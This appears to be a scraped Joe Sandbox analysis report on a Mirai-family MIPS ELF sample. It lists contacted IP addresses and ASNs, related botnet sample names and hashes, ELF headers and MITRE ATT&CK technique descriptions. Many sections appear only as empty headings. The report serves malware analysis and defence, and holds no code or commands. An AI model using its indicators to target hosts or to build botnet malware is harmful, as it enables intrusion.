31.136.150.28	unknown	Netherlands	15480	VFNL-ASVodafoneNLAutonomousSystemNL	false
151.232.14.142	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
17.103.165.135	unknown	United States	714	APPLE-ENGINEERINGUS	false
158.108.239.162	unknown	Thailand	9411	NONTRINET-AS-APKasetsartUniversityThailandTH	false
157.3.152.133	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
187.12.206.134	unknown	Brazil	7738	TelemarNorteLesteSABR	false
197.132.217.144	unknown	Egypt	24835	RAYA-ASEG	false
157.169.59.50	unknown	France	2418	FR-ASNBLOCK2FR-MAN-SOPHIA-ANTIPOLISEU	false
54.196.47.140	unknown	United States	14618	AMAZON-AESUS	false
212.5.77.211	unknown	Russian Federation	8470	MACOMNETRU	false
154.181.39.164	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.215.239.78	unknown	United States	4704	SANNETRakutenMobileIncJP	false
41.149.186.134	unknown	South Africa	5713	SAIX-NETZA	false
84.182.152.200	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
41.142.174.174	unknown	Morocco	36903	MT-MPLSMA	false
4.211.174.104	unknown	United States	3356	LEVEL3US	false
167.111.169.3	unknown	Saudi Arabia	6057	AdministracionNacionaldeTelecomunicacionesUY	false
157.6.53.152	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
173.23.9.116	unknown	United States	30036	MEDIACOM-ENTERPRISE-BUSINESSUS	false
186.120.179.175	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	false
156.34.23.147	unknown	Canada	855	CANET-ASN-4CA	false
41.140.123.127	unknown	Morocco	36903	MT-MPLSMA	false
52.111.82.243	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
25.149.132.112	unknown	United Kingdom	7922	COMCAST-7922US	false
85.128.224.23	unknown	Poland	15967	NAZWAPL	false
157.251.170.235	unknown	United States	32934	FACEBOOKUS	false
63.10.36.168	unknown	United States	701	UUNETUS	false
49.144.68.25	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
116.52.14.19	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
95.121.68.54	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
157.21.237.34	unknown	United States	53446	EVMSUS	false
197.65.235.7	unknown	South Africa	16637	MTNNS-ASZA	false
41.219.191.29	unknown	Nigeria	30998	NAL-ASNG	false
180.246.66.24	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
197.202.209.187	unknown	Algeria	36947	ALGTEL-ASDZ	false
37.86.75.0	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
51.243.239.151	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
76.191.241.172	unknown	United States	7065	SONOMAUS	false
175.9.138.184	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
154.42.69.208	unknown	United States	174	COGENT-174US	false
157.251.170.243	unknown	United States	32934	FACEBOOKUS	false
157.157.40.30	unknown	Iceland	6677	ICENET-AS1IS	false
40.188.70.112	unknown	United States	4249	LILLY-ASUS	false
153.210.224.168	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.162.143.82	unknown	Germany	22192	SSHENETUS	false
157.204.30.238	unknown	United States	54216	GORE-NETWORKUS	false
41.96.73.18	unknown	Algeria	36947	ALGTEL-ASDZ	false
128.115.137.124	unknown	United States	45	LLL-TIS-ASUS	false
205.177.189.60	unknown	United States	3491	BTN-ASNUS	false
2.61.255.142	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
32.233.118.111	unknown	United States	2686	ATGS-MMD-ASUS	false
157.95.199.205	unknown	United States	51164	CYBERCOM-FICybercomFinlandOyFI	false
39.92.93.211	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.227.43.87	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
197.167.97.230	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.233.177.248	unknown	Namibia	36999	TELECOM-NAMIBIANA	false
126.59.74.152	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
197.43.51.198	unknown	Egypt	8452	TE-ASTE-ASEG	false
191.82.133.24	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
157.182.220.46	unknown	United States	12118	WVUUS	false
197.50.174.124	unknown	Egypt	8452	TE-ASTE-ASEG	false
83.195.96.36	unknown	France	3215	FranceTelecom-OrangeFR	false
41.68.96.151	unknown	Egypt	24835	RAYA-ASEG	false
2.132.16.226	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
157.215.239.33	unknown	United States	4704	SANNETRakutenMobileIncJP	false
106.215.213.11	unknown	India	45609	BHARTI-MOBILITY-AS-APBhartiAirtelLtdASforGPRSService	false
67.134.44.164	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
85.151.241.95	unknown	Germany	5390	EURONETNL	false
207.108.224.2	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
94.42.225.41	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
197.235.33.67	unknown	Mozambique	37223	VODACOM-MZ	false
211.20.10.41	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
131.112.18.235	unknown	Japan	9367	TITECHTokyoInstituteofTechnologyJP	false
161.247.27.95	unknown	United States	26539	GIANT-FOOD-INCUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.195.126.253	fgSydmnVTJ.elf	Get hash	malicious	Mirai	Browse
	YuZ86c24ws.elf	Get hash	malicious	Mirai, Moobot	Browse
	k97G7xh1A2	Get hash	malicious	Unknown	Browse
	zymTKxD6b9	Get hash	malicious	Mirai	Browse
	aqua.x86	Get hash	malicious	Gafgyt, Mirai	Browse
	LQBW4S04FQ	Get hash	malicious	Mirai	Browse
	Sht1aYGDIX	Get hash	malicious	Mirai	Browse
124.48.199.255	gsBmFpaYs0	Get hash	malicious	Mirai	Browse
157.232.65.255	oQANZnrt9d	Get hash	malicious	Mirai	Browse
157.232.65.255	hz4vFpTJb8	Get hash	malicious	Mirai	Browse
211.89.109.0	Y5nZ1AR80w.elf	Get hash	malicious	Mirai	Browse
157.3.239.206	percarm	Get hash	malicious	Mirai	Browse
	Tsunami.x86	Get hash	malicious	Mirai	Browse
	ROHmSaAAiG	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
USMUS	gJILD50Iia.elf	Get hash	malicious	Mirai	Browse	131.95.70.111
	eOKWFR38tO.elf	Get hash	malicious	Mirai	Browse	131.95.69.229
	ScBr_x86_64	Get hash	malicious	Mirai	Browse	131.95.69.218
	O4zEMAGRoe.elf	Get hash	malicious	Mirai	Browse	131.95.69.229
	tyPaBU5o0o	Get hash	malicious	Mirai	Browse	131.95.103.172
	ZS9J3gOHCx	Get hash	malicious	Mirai	Browse	131.95.103.156
	db0fa4b8db0333367e9bda3ab68b8042	Get hash	malicious	Mirai	Browse	131.95.103.160
	aqua.arm7	Get hash	malicious	Gafgyt, Mirai	Browse	131.95.103.168
	84iLM88Het	Get hash	malicious	Mirai	Browse	131.95.103.170
	ZG9zx86	Get hash	malicious	Unknown	Browse	131.95.103.152
	ZG9zmips.vir	Get hash	malicious	Unknown	Browse	131.95.103.172
	fZdYpEwNPT	Get hash	malicious	Mirai	Browse	131.95.168.1
	miori.arm-20220530-0952	Get hash	malicious	Mirai	Browse	131.95.103.110
	apep.x86	Get hash	malicious	Unknown	Browse	131.95.103.130
	aNa5qpro1F	Get hash	malicious	Mirai	Browse	131.95.69.213
	i686-20220412-0247	Get hash	malicious	Mirai Moobot	Browse	131.95.103.168
	2kT8Pa4uR3	Get hash	malicious	Gafgyt Mirai	Browse	131.95.103.146
	mipsel	Get hash	malicious	Mirai Moobot	Browse	131.95.103.149
	QAFfhYtsqj	Get hash	malicious	Mirai	Browse	131.95.103.169
	vebxLSzDwV	Get hash	malicious	Mirai	Browse	131.95.69.213
SANNETRakutenMobileIncJP	RCPEy3EJq4.elf	Get hash	malicious	Mirai	Browse	157.195.54.134
	SMqzagNlab.elf	Get hash	malicious	Mirai, Moobot	Browse	157.227.28.73
	IRNQMv17TU.elf	Get hash	malicious	Mirai	Browse	157.215.45.95
	z0VRfKktZo.elf	Get hash	malicious	Mirai	Browse	157.214.103.160
	c0jodJn6tB.elf	Get hash	malicious	Mirai	Browse	157.198.147.55
	w7j6Oj82py.elf	Get hash	malicious	Mirai	Browse	157.227.41.34
	13i5D58DPl.elf	Get hash	malicious	Mirai	Browse	157.215.94.31
	PPaSstd3ID.elf	Get hash	malicious	Mirai	Browse	157.215.94.22
	6jSAnTSK1s.elf	Get hash	malicious	Mirai	Browse	157.215.69.25
	4JGeRgqZqM.elf	Get hash	malicious	Mirai	Browse	157.214.20.195
	oYLfD30ufx.elf	Get hash	malicious	Unknown	Browse	157.220.202.157
	Mb9nSathx7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.227.16.81
	Rv5D4ae83C.elf	Get hash	malicious	Mirai, Moobot	Browse	157.218.122.118
	TlEt6zNLVd.elf	Get hash	malicious	Mirai, Moobot	Browse	157.222.205.208
	wbRvEGEneL.elf	Get hash	malicious	Mirai, Moobot	Browse	157.220.202.176
	ZPCOm8mHik.elf	Get hash	malicious	Mirai, Moobot	Browse	157.198.159.94
	Rd2l9NCMhG.elf	Get hash	malicious	Mirai, Moobot	Browse	157.218.122.118
	XHmKPVPHS5.elf	Get hash	malicious	Mirai, Moobot	Browse	157.212.14.254
	HYeyfkaF8T.elf	Get hash	malicious	Mirai, Moobot	Browse	157.196.168.213
	fi15RfQJdh.elf	Get hash	malicious	Mirai, Moobot	Browse	157.213.161.158

Process:	/tmp/8TTFrTs5E6.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	3.585837009000498
Encrypted:	false
SSDEEP:	6:URPtDFbK9dtj/VUX/vYDFbK1VD0Y/VDM/V+4D/VH:IPN0CXQOMfF
MD5:	B27D59447282EE6BE20F46AE119FB1E9
SHA1:	1CED0842DE9CA6278419C2D3F1708936F0D8E368
SHA-256:	1D30E1711410A5B3A994848703CC5848C2EF64D6B186444C56C58866B5A363D9
SHA-512:	F9759A83ED90F0660ED214438DDEF3D8AFECC3DBE12A63EDDBB4C6D833E26BE8FAE5288BCB8937E29AEA7CE339D18DDCCC6EA148C49AB22E1B620A5F25843A13
Malicious:	false
Reputation:	low
Preview:	400000-413000 r-xp 00000000 fd:00 531606 /tmp/8TTFrTs5E6.elf.452000-453000 rw-p 00012000 fd:00 531606 /tmp/8TTFrTs5E6.elf.453000-454000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.485787157465752
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	8TTFrTs5E6.elf
File size:	76880
MD5:	dafea6b9abed97ba5aa25f0c808fa857
SHA1:	4e2b75922d2b46d94b92514b00dd066e8939fa0f
SHA256:	908a7b05bb544e438d9c25b39771ddd8cc4db02f3fb0a257c72953313fa32598
SHA512:	753334ff58959496d9941c010aa8543cea285afccb8c5ac3062b1833543b99ddef8575fc81fd8466a374507617474dc72e6d11667852feea28b975db5c4ee527
SSDEEP:	1536:MFxAJjE/jma4tigPwYmF6xsltuR5cC4JHwpmvGEflrOTWy47TdHhnAb:tJjAjmaqwXqOuRUbxlrOTzMdHh+
TLSH:	0673A60E2E219FBDFBAC823447B38E219648339626E1C585D19CEE015F7034E745FBA9
File Content Preview:	.ELF.....................@.`...4..)......4. ...(.............@...@...."..."..............."..E"..E".................dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9.

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11400	0x0	0x6	AX	16
.fini	PROGBITS	0x411520	0x11520	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411580	0x11580	0xd40	0x0	0x2	A	16
.ctors	PROGBITS	0x4522c4	0x122c4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x4522cc	0x122cc	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x4522d4	0x122d4	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4522d8	0x122d8	0xac	0x0	0x3	WA	4
.data	PROGBITS	0x452390	0x12390	0x230	0x0	0x3	WA	16
.got	PROGBITS	0x4525c0	0x125c0	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45298c	0x1298c	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4529b0	0x1298c	0x3a0	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x72c	0x1298c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1298c	0x69	0x0	0x0		1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 8TTFrTs5E6.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0EfQlJ (deleted)

/tmp/qemu-open.0N5WFH (deleted)

/tmp/qemu-open.0YgaxI (deleted)

/tmp/qemu-open.0ovAhJ (deleted)

/tmp/qemu-open.0tKluK (deleted)

/tmp/qemu-open.0uFYcI (deleted)

/tmp/qemu-open.1UkYMI (deleted)

/tmp/qemu-open.1Wm0pI (deleted)

/tmp/qemu-open.20Q8yL (deleted)

/tmp/qemu-open.20SY6I (deleted)

/tmp/qemu-open.2ELW7L (deleted)

/tmp/qemu-open.2LU4ML (deleted)

/tmp/qemu-open.2YPfOI (deleted)

/tmp/qemu-open.2kxJiI (deleted)

/tmp/qemu-open.2ptOKI (deleted)

/tmp/qemu-open.320gcL (deleted)

/tmp/qemu-open.39XL8J (deleted)

/tmp/qemu-open.3E2E3H (deleted)

/tmp/qemu-open.3LzbON (deleted)

/tmp/qemu-open.3ps4AI (deleted)

/tmp/qemu-open.40DdAJ (deleted)

/tmp/qemu-open.46BNtL (deleted)

/tmp/qemu-open.4HLL4I (deleted)

/tmp/qemu-open.4j0ZXJ (deleted)

/tmp/qemu-open.4jZ2wH (deleted)

/tmp/qemu-open.4oVARH (deleted)

/tmp/qemu-open.4vBdbL (deleted)

Linux Analysis Report
8TTFrTs5E6.elf

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x122c0	0x122c0	5.5035	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x122c4	0x4522c4	0x4522c4	0x6c8	0xa8c	3.9318	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Start time:	19:14:49
Start date:	25/02/2023
Path:	/tmp/8TTFrTs5E6.elf
Arguments:	/tmp/8TTFrTs5E6.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre